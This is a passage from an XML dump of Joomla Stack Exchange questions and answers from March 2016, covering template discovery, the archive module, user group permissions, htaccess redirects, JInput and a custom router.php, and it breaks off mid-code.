  <row Id="15496" PostTypeId="2" ParentId="15465" CreationDate="2016-03-03T10:38:30.513" Score="4" Body="&lt;p&gt;I have achieve great result usging the nonumbers extensions like advanced module manager and advanced template manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links: &#xA;&lt;a href=&quot;https://www.nonumber.nl/extensions/advancedmodulemanager#free-vs-pro&quot; rel=&quot;nofollow&quot;&gt;https://www.nonumber.nl/extensions/advancedmodulemanager#free-vs-pro&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.nonumber.nl/extensions/advancedtemplatemanager#free-vs-pro&quot; rel=&quot;nofollow&quot;&gt;https://www.nonumber.nl/extensions/advancedtemplatemanager#free-vs-pro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two extensions extend the possibilities to assgin templates and modules on a number of extra criteria, including browser, ips, urls, languages, custom php and more. I suggest them for use cases like the one you describe.&lt;/p&gt;&#xA;" OwnerUserId="7919" LastActivityDate="2016-03-03T10:38:30.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15497" PostTypeId="2" ParentId="15482" CreationDate="2016-03-03T10:44:07.073" Score="2" Body="&lt;p&gt;Yes it possible .  you just need to unzip the quickstart and locate all the files for the template in the templates folder. also read the xml file for the themplate to find all the files for it. &#xA;You can upload then the templates files to your site with ftp client like filezilla and use joomla extension discover install to install the template to the site.&lt;/p&gt;&#xA;" OwnerUserId="7919" LastActivityDate="2016-03-03T10:44:07.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15499" PostTypeId="1" AcceptedAnswerId="15503" CreationDate="2016-03-03T12:13:38.013" Score="2" ViewCount="135" Body="&lt;p&gt;I have a site with many latest news articles from the last 18 months.&#xA;Using the default archived news module we can generate a list of months eg Janury 2016 etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, we find that articles in January are appearing in both the list for January 2015 and January 2016&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The notes on the joomla site say the archive only filters by month. How do I get it to filter by year as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this if you want at &lt;a href=&quot;http://www.treeferns.com/latest-news&quot; rel=&quot;nofollow&quot;&gt;http://www.treeferns.com/latest-news&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="7922" LastActivityDate="2016-03-06T12:58:45.467" Title="Problem with archive news module" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15500" PostTypeId="1" AcceptedAnswerId="15844" CreationDate="2016-03-03T15:04:46.497" Score="2" ViewCount="200" Body="&lt;p&gt;I got a project where a client who is running a relatively big e-commerce is planing to switch from Joomla's VirtueMart 1.1 to Magento 2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to export products/customers/discounts/reviews to Magento 2.0? Are there any tools that work available or should I start writing PHP script which would map everything in CSV ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any info regarding this issue.&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2016-03-31T10:38:20.080" Title="Joomla - VirtueMart 1.x &gt; Magento 2.0" Tags="|virtuemart|joomla-1.5|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15501" PostTypeId="2" ParentId="15500" CreationDate="2016-03-03T15:17:55.783" Score="2" Body="&lt;p&gt;There is commercial extension &lt;strong&gt;&lt;a href=&quot;https://www.yireo.com/software/magento-extensions/vm2mage&quot;&gt;Vm2Mage&lt;/a&gt;&lt;/strong&gt; from Yireo.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Migrating data from VirtueMart to Magento is part of a bigger process: A new Magento site also requires a proper theme, a revision of strategy, marketing effort, perhaps CMS-capabilities. There for we advise Vm2Mage to people who want to make real use of Magento. Vm2Mage is a flexible tool ment for Magento sitebuilders, webdesigners and webdevelopers. If you want to migrate from VirtueMart to Magento, this extension is a real time-saver!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current version     0.10.33 (Stable)&lt;br&gt;&#xA;Requirements    Joomla 1.5&lt;br&gt;&#xA;Joomla 1.6, 1.7 or 2.5&lt;br&gt;&#xA;VirtueMart 1.1.2 or later&lt;br&gt;&#xA;VirtueMart 2.0.1 or later&lt;br&gt;&#xA;Magento CE 1.7 - 1.9&lt;br&gt;&#xA;Magento EE 1.10 - 1.14&lt;br&gt;&#xA;PHP 5.4.0 or higher (5.4, 5.5, 5.6, 7)   &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is also official Magento extension &lt;strong&gt;&lt;a href=&quot;https://www.magentocommerce.com/magento-connect/cart2cart-virtuemart-to-magento-migration.html&quot;&gt;Cart2Cart&lt;/a&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatically migrate your products, customers, orders and other store data from VirtueMart to Magento! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compatible with Magento: 1.1, 1.2, 1.3, 1.4, 1.4.1.1, 1.4.2, 1.5, 1.6, 1.6.1, 1.6.2.0, 1.7, 1.8, 1.8.1, 1.9, 1.9.1, 1.9.2&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Because Magento 2.0 is fairly new on the market, these extensions are probably not yet compatible with it, but you can always contact extension developers and enquire about their plans to upgrade them.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-03T16:52:54.407" LastActivityDate="2016-03-03T16:52:54.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15502" PostTypeId="2" ParentId="15494" CreationDate="2016-03-03T16:13:11.193" Score="1" Body="&lt;p&gt;Your comment above &lt;code&gt;On Chrome this message shows up: The website encountered an error while retrieving inkarri.pt/administrator/index.php?option=com_remoteimage. It may be down for maintenance or configured incorrectly.&lt;/code&gt; leads me to conclusion that this problem is caused by an extension and not by core Joomla, because core Joomla doesn't have &lt;code&gt;com_remoteimage&lt;/code&gt; but &lt;code&gt;com_media&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google tells me there was an extension called 'Remote &amp;amp; Local Image Manager' bit it is now defunct and &lt;a href=&quot;http://extensions.joomla.org/extension/photos-a-images/images/remote-local-image-manager&quot; rel=&quot;nofollow&quot;&gt;unpublsihed from JED&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say to go to Extensions | Manage and look for some similar extension, either unpublish it or uninstall it, and your built-in Media Manager might be back and working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On side note, I see that you are running Joomla v3.3.1. There is a critical security vulnerability with &lt;a href=&quot;http://joomla.org/announcements/release-news/5643-joomla-3-4-7.html&quot; rel=&quot;nofollow&quot;&gt;all versions of Joomla lower that 3.4.7&lt;/a&gt;  You should update your site immediately to v3.4.8, which is latest J! version at the moment. &lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-03-03T16:13:11.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15503" PostTypeId="2" ParentId="15499" CreationDate="2016-03-03T16:34:57.353" Score="2" Body="&lt;p&gt;Google tells me that:&lt;br&gt;&#xA;- On 2015-04-11 was opened Joomla Tracker Issue #6745 &quot;&lt;strong&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/6745&quot; rel=&quot;nofollow&quot;&gt;Issues with the article module archive #6745&lt;/a&gt;&lt;/strong&gt;&quot; with almost same simptoms as yours.&lt;br&gt;&#xA;- On 2015-04-29 Issue was closed with explanation that it is caused by routing problem, with no code attached, but recommendation to open new tracker for routing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am personally just an integrator and not a developer, so I can not easily track these events and changes on GitHub, but I am under impression that this bug is still not fixed in newest Joomla yet. Maybe someone with bigger developer's experience here on JSE can shed some light on this issue, or can 'read' better than me this event-flow on GitHub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, I have found extension &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/monthly-archive&quot; rel=&quot;nofollow&quot;&gt;Monthly Archive&lt;/a&gt;&lt;/strong&gt; which might help you solve these problems, but it is commercial.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-06T12:58:45.467" LastActivityDate="2016-03-06T12:58:45.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15504" PostTypeId="1" CreationDate="2016-03-03T17:40:20.910" Score="0" ViewCount="278" Body="&lt;p&gt;I have created one user group under public called &quot;Special Author&quot; and in the Global Settings I have assigned right to that group for the Admin login and also a right to create and Edit Own because I want that group of people just to create a content and nothing else (I think, instead of global create and edit own, I should have assigned them  permission into Article component.. I can always do that) but the issue is, when user logs in to create a content, the save, save and close, cancel buttons are missing.. &#xA;Can someone please help me with that? This problem is driving me crazy..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jNQoa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNQoa.png&quot; alt=&quot;Global Group permission&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Kucjf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kucjf.png&quot; alt=&quot;Missing Buttons&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot..&lt;/p&gt;&#xA;" OwnerUserId="7811" LastActivityDate="2016-03-03T21:17:03.090" Title="missing save, save and close and cancel button" Tags="|content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15505" PostTypeId="1" CreationDate="2016-03-03T17:55:07.803" Score="0" ViewCount="388" Body="&lt;p&gt;In Joomla 3.4 how to change the template location path? I copy a site from one sub-domain to another sub-domain on the same server (site folder and the database) but the second pules the template from the first domain- how to correct that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template is JM Lifestile (Joomla-Monster.com) and uses EF3 framework and Bootstrap grid system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd greatly appreciate any suggestion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="7924" LastActivityDate="2016-03-05T23:34:53.217" Title="In Joomla 3.4 how to change the template location?" Tags="|templates|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15506" PostTypeId="2" ParentId="15505" CreationDate="2016-03-03T18:32:48.653" Score="1" Body="&lt;p&gt;Copy over the following directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT (old) / templates / your_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT (new) / templates / your_template&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then login to your Joomla backend and go to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extensions (top menu) &gt;&gt; Install &gt;&gt; Discover&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Click the &lt;strong&gt;Discover&lt;/strong&gt; button and your template should appear, which you an install&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-03T18:32:48.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15507" PostTypeId="2" ParentId="15505" CreationDate="2016-03-03T19:30:21.260" Score="0" Body="&lt;p&gt;Check in your Global Configuration that you have the new subdomain using the correct database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System &amp;gt; Global Configuration &amp;gt; Server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It sounds like you copied everything over but forgot to change the configuration file to match the new database settings.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-03T19:30:21.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15508" PostTypeId="1" CreationDate="2016-03-03T20:35:55.383" Score="0" ViewCount="267" Body="&lt;p&gt;I'm using Joomla 3.4.8. The Template is &quot;foodworld&quot;. In case of registration, the user get no error-message or success message. Nothing. But the Registration is working. This is independent from the Joomla version. What can I do?&lt;/p&gt;&#xA;" OwnerUserId="7927" LastEditorUserId="3650" LastEditDate="2016-03-08T00:33:04.780" LastActivityDate="2017-01-03T20:29:08.967" Title="no system-message by registration" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15509" PostTypeId="2" ParentId="15504" CreationDate="2016-03-03T21:17:03.090" Score="1" Body="&lt;p&gt;I managed to fix an issue.. In case, someone is struggling the same thing. We need to assign the user group to the &quot;Special&quot; ACL. That fixes an issue of Top nav bar and also the save buttons. &#xA;After that I found that JCE editor is not loading for that group of people. Currently I had to enable the TinyMCE and will post once I find a solution to the issue.&lt;/p&gt;&#xA;" OwnerUserId="7811" LastActivityDate="2016-03-03T21:17:03.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15510" PostTypeId="2" ParentId="15148" CreationDate="2016-03-03T22:00:40.383" Score="3" Body="&lt;p&gt;as Valentin Despa say&#xA;&quot;I can imagine it could be quite easy to draft a solution where you expose an RESTful API via a component which allows you to authenticate the users.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A non REST solution is to use com_ajax with a custom plugin&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgAjaxMyauthentification extends JPlugin&#xA;{&#xA;    function onAjaxMyauthentification()&#xA;    {&#xA;    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;    $password = $jinput-&amp;gt;get('varname', null , 'STRING'); &#xA;    $username = $jinput-&amp;gt;get('varname', null, 'STRING');&#xA;    $result = JFactory::getApplication()-&amp;gt;login(array('username'=&amp;gt;$username,    'password'=&amp;gt;$password));&#xA;    return $result;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can call this method with this url &#xA;&lt;a href=&quot;https://mysite.com/index.php?option=com_ajax&amp;amp;plugin=myauthentification&amp;amp;format=json&amp;amp;user=xxxxx&amp;amp;passsword=&amp;amp;&amp;amp;&amp;amp;&quot; rel=&quot;nofollow&quot;&gt;https://mysite.com/index.php?option=com_ajax&amp;amp;plugin=myauthentification&amp;amp;format=json&amp;amp;user=xxxxx&amp;amp;passsword=&amp;amp;&amp;amp;&amp;amp;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is a proof of concept. You need to add some security by using HTTPS connection and a HMAC token : &lt;a href=&quot;http://culttt.com/2014/05/21/create-hmac-sha-authentication-implementation-php/&quot; rel=&quot;nofollow&quot;&gt;http://culttt.com/2014/05/21/create-hmac-sha-authentication-implementation-php/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-03-03T22:00:40.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15511" PostTypeId="1" CreationDate="2016-03-04T01:06:53.423" Score="1" ViewCount="420" Body="&lt;p&gt;I am in a unique situation where I have multiple instances of Joomla setup under my primary domain in different subdirectories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mydomain.com = Joomla instance&#xA;&lt;br /&gt;&#xA;mydomain.com/subdirectory1 = Another Joomla instance&#xA;&lt;br /&gt;&#xA;mydomain.com/subdirectory2 = Another Joomla instance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the main Joomla instance I was able to forward my non-www pages to www using the htaccess file and this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^mydomain.com [NC]&#xA;RewriteRule (.*) http://www.mydomain.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to also forward non-www pages to www pages on all of the subdirectories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to achieve this? Since each subdirectory has it's own Joomla instance, is there something I can just add to each of the htaccess files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for your  help!&lt;/p&gt;&#xA;" OwnerUserId="7928" LastEditorUserId="3585" LastEditDate="2016-04-12T12:07:49.790" LastActivityDate="2016-04-12T12:07:49.790" Title="301 redirect non-www to www in subdirectories" Tags="|joomla-3.x|.htaccess-configuration|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15512" PostTypeId="2" ParentId="15511" CreationDate="2016-03-04T01:51:26.023" Score="1" Body="&lt;p&gt;You need to add the following line into each .htaccess in subfolders if you want to have rewrite rules from parent .htaccess to be executed as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteOptions inherit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This forces the current configuration to inherit the configuration of the parent. In per-virtual-server context, this means that the maps, conditions and rules of the main server are inherited. In per-directory context this means that conditions and rules of the parent directory's .htaccess configuration are inherited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rules inherited from the parent scope are applied after rules specified in the child scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewriteoptions&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewriteoptions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-03-04T01:51:26.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15515" PostTypeId="1" AcceptedAnswerId="15516" CreationDate="2016-03-04T06:10:59.653" Score="4" ViewCount="5070" Body="&lt;p&gt;Is there a way to get all the &lt;code&gt;POST&lt;/code&gt; or &lt;code&gt;GET&lt;/code&gt; vars at once using &lt;code&gt;JInput&lt;/code&gt;? Something like this, only using the newer syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = JRequest::get('post');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2016-03-04T07:20:39.073" Title="Use JInput to get all POST / GET vars" Tags="|joomla-3.x|jinput|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-04T12:46:34.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="15516" PostTypeId="2" ParentId="15515" CreationDate="2016-03-04T06:57:52.883" Score="4" Body="&lt;p&gt;Yes, you can achieve this by using &lt;strong&gt;JInput&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;$jform = $input-&amp;gt;get('jform', array(), 'ARRAY'); &#xA;print_r($jform);&#xA;//$jform will show all the data of your form&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please refer this document for more details:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="3637" LastEditDate="2016-03-04T07:20:39.073" LastActivityDate="2016-03-04T07:20:39.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15517" PostTypeId="2" ParentId="15443" CreationDate="2016-03-04T08:47:52.713" Score="1" Body="&lt;p&gt;I can reproduce it in Chrome 49. The page jumps slightly to the right on page load. It could relate to the scrollbar which pops up later. Only happens when the page loads relatively fast. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Captured it on 2 screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pibd7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pibd7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lcsly.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lcsly.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a known problem for centered web sites with different CSS hacks to fix that, for example force the scrollbars to appear always:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html {&#xA;   height: 100%;&#xA;   margin-bottom: 0.01em;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html {&#xA;    overflow-y: scroll; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Source: &lt;a href=&quot;https://css-tricks.com/eliminate-jumps-in-horizontal-centering-by-forcing-a-scroll-bar/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://css-tricks.com/eliminate-jumps-in-horizontal-centering-by-forcing-a-scroll-bar/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also &lt;a href=&quot;https://validator.w3.org/nu/?doc=http%3A%2F%2Fwww.grip.org.za%2Fjoomla%2Findex.php%2Fabout-grip&quot; rel=&quot;nofollow noreferrer&quot;&gt;have errors in your HTML markup&lt;/a&gt;. I would fix these &lt;strong&gt;first&lt;/strong&gt;. &lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-03-04T08:47:52.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15519" PostTypeId="1" CreationDate="2016-03-04T11:20:24.310" Score="0" ViewCount="1404" Body="&lt;p&gt;i have written a router.php for creating a custom joomla url. The router gives me the following url :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost/project_name/menu-item-alais/article-alias&quot; rel=&quot;nofollow&quot;&gt;http://localhost/project_name/menu-item-alais/article-alias&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i wan to remove the menu-item-alias and make the url as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost/project_name/article-alias&quot; rel=&quot;nofollow&quot;&gt;http://localhost/project_name/article-alias&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to unset the Itemid but it gives me 404 error when i open the detail page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the router.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;* @version      $Id: router.php 14401 2010-01-26 14:10:00Z louis $&#xA;* @package      Joomla&#xA;* @copyright    Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.&#xA;* @license      GNU/GPL, see LICENSE.php&#xA;* Joomla! is free software. This version may have been modified pursuant&#xA;* to the GNU General Public License, and as distributed it includes or&#xA;* is derivative of works licensed under the GNU General Public License or&#xA;* other free or open source software licenses.&#xA;* See COPYRIGHT.php for copyright notices and details.&#xA;*/&#xA;&#xA;function ContentBuildRoute(&amp;amp;$query)&#xA;{&#xA;    $segments = array();&#xA;    $menu = &amp;amp;JSite::getMenu();&#xA;    if (empty($query['Itemid'])) &#xA;    {&#xA;       $menuItem = &amp;amp;$menu-&amp;gt;getActive();&#xA;    } &#xA;    else &#xA;    {&#xA;       $menuItem = &amp;amp;$menu-&amp;gt;getItem($query['Itemid']);&#xA;    }&#xA;    $mView  = (empty($menuItem-&amp;gt;query['view']))? null : $menuItem-&amp;gt;query['view'];&#xA;    $mCatid = (empty($menuItem-&amp;gt;query['catid']))? null : $menuItem-&amp;gt;query['catid'];&#xA;    $mId    = (empty($menuItem-&amp;gt;query['id']))? null : $menuItem-&amp;gt;query['id'];&#xA;&#xA;if(isset($query['task'])) &#xA;{&#xA;    return $segments;&#xA;}&#xA;&#xA;if(isset($query['view']))&#xA;{&#xA;    $view = $query['view'];&#xA;    if(empty($query['Itemid'])) &#xA;    {&#xA;        $segments[] = $query['view'];&#xA;    }&#xA;    unset($query['view']);&#xA;};&#xA;&#xA;if (($mView == 'article') and (isset($query['id'])) and ($mId == intval($query['id']))) &#xA;{&#xA;    unset($query['view']);&#xA;    unset($query['catid']);&#xA;    unset($query['id']);&#xA;&#xA;}&#xA;&#xA;if (isset($view) and ($view == 'section' &amp;amp;&amp;amp; !empty($query['Itemid']))) &#xA;{&#xA;    if (($mView != 'section') or ($mView == 'section' and $mId != intval($query['id']))) &#xA;    {&#xA;        $segments[] = 'section';&#xA;        unset($query['Itemid']);&#xA;    }&#xA;}&#xA;&#xA;if (isset($view) and $view == 'category') &#xA;{&#xA;    if ($mId != intval($query['id']) || $mView != $view) &#xA;    {&#xA;        $temp = explode(':',$query['id']);&#xA;        if(count($temp) &amp;gt; 1)&#xA;        {&#xA;            $query['id'] = $temp[1];&#xA;        }&#xA;&#xA;        $segments[] = $query['id'];&#xA;    }&#xA;    unset($query['id']);&#xA;}&#xA;&#xA;if (isset($query['catid'])) &#xA;{&#xA;&#xA;    if ((($view == 'article') and ($mView != 'category') and ($mView != 'article') and ($mCatid != intval($query['catid'])))) &#xA;    {&#xA;        $temp = explode(':',$query['catid']);&#xA;        if(count($temp) &amp;gt; 1)&#xA;        {&#xA;            $query['catid'] = $temp[1];&#xA;        }&#xA;&#xA;        $segments[] = $query['catid'];&#xA;    }&#xA;    unset($query['catid']);&#xA;};&#xA;&#xA;if(isset($query['id'])) &#xA;{&#xA;    if (empty($query['Itemid'])) &#xA;    {&#xA;        $temp = explode(':',$query['id']);&#xA;        if(count($temp) &amp;gt; 1)&#xA;        {&#xA;            $query['id'] = $temp[1];&#xA;        }&#xA;&#xA;        $segments[] = $query['id'];&#xA;    } &#xA;    else &#xA;    {&#xA;        if (isset($menuItem-&amp;gt;query['id'])) &#xA;        {&#xA;            if($query['id'] != $mId) &#xA;            {&#xA;                $temp = explode(':',$query['id']);&#xA;                if(count($temp) &amp;gt; 1)&#xA;                {&#xA;                    $query['id'] = $temp[1];&#xA;                }&#xA;&#xA;                $segments[] = $query['id'];&#xA;            }&#xA;        } &#xA;        else &#xA;        {&#xA;            $temp = explode(':',$query['id']);&#xA;            if(count($temp) &amp;gt; 1)&#xA;            {&#xA;                $query['id'] = $temp[1];&#xA;            }&#xA;&#xA;            $segments[] = $query['id'];&#xA;        }&#xA;    }&#xA;    unset($query['id']);&#xA;};&#xA;&#xA;if(isset($query['year'])) &#xA;{&#xA;&#xA;    if(!empty($query['Itemid'])) &#xA;    {&#xA;        $segments[] = $query['year'];&#xA;        unset($query['year']);&#xA;    }&#xA;};&#xA;&#xA;if(isset($query['month'])) &#xA;{&#xA;&#xA;    if(!empty($query['Itemid'])) &#xA;    {&#xA;        $segments[] = $query['month'];&#xA;        unset($query['month']);&#xA;    }&#xA;};&#xA;&#xA;if(isset($query['layout']))&#xA;{&#xA;    if(!empty($query['Itemid']) &amp;amp;&amp;amp; isset($menuItem-&amp;gt;query['layout'])) &#xA;    {&#xA;        if ($query['layout'] == $menuItem-&amp;gt;query['layout']) &#xA;        {&#xA;&#xA;            unset($query['layout']);&#xA;        }&#xA;    }&#xA;     else &#xA;     {&#xA;        if($query['layout'] == 'default') &#xA;        {&#xA;            unset($query['layout']);&#xA;        }&#xA;    }&#xA;};&#xA;&#xA;return $segments;&#xA;}&#xA;&#xA;function ContentParseRoute($segments)&#xA;&#xA;{&#xA;    $vars = array();&#xA;&#xA;$menu =&amp;amp; JSite::getMenu();&#xA;$item =&amp;amp; $menu-&amp;gt;getActive();&#xA;$db =&amp;amp; JFactory::getDBO();&#xA;$count = count($segments);&#xA;&#xA;&#xA;if(!isset($item))&#xA;&#xA;&#xA;&#xA;&#xA;{&#xA;    $vars['view']  = $segments[0];&#xA;    $vars['id']    = $segments[$count - 1];&#xA;    if($vars['view'] == 'article')&#xA;    {&#xA;        $query = 'SELECT id FROM #__content WHERE alias = '.$db-&amp;gt;Quote($vars['id']);&#xA;    } elseif($vars['view'] == 'category') {&#xA;        $query = 'SELECT id FROM #__categories WHERE section &amp;gt; 0 &amp;amp;&amp;amp; alias = '.$db-&amp;gt;Quote($vars['id']);&#xA;    }&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $vars['id'] = $db-&amp;gt;loadResult();&#xA;    return $vars;&#xA;}&#xA;&#xA;switch($item-&amp;gt;query['view'])&#xA;{&#xA;    case 'section' :&#xA;    {&#xA;        if($count == 1) {&#xA;            $vars['view'] = 'category';&#xA;&#xA;            if(isset($item-&amp;gt;query['layout']) &amp;amp;&amp;amp; $item-&amp;gt;query['layout'] == 'blog') {&#xA;                $vars['layout'] = 'blog';&#xA;            }&#xA;        }&#xA;&#xA;        if($count == 2) {&#xA;            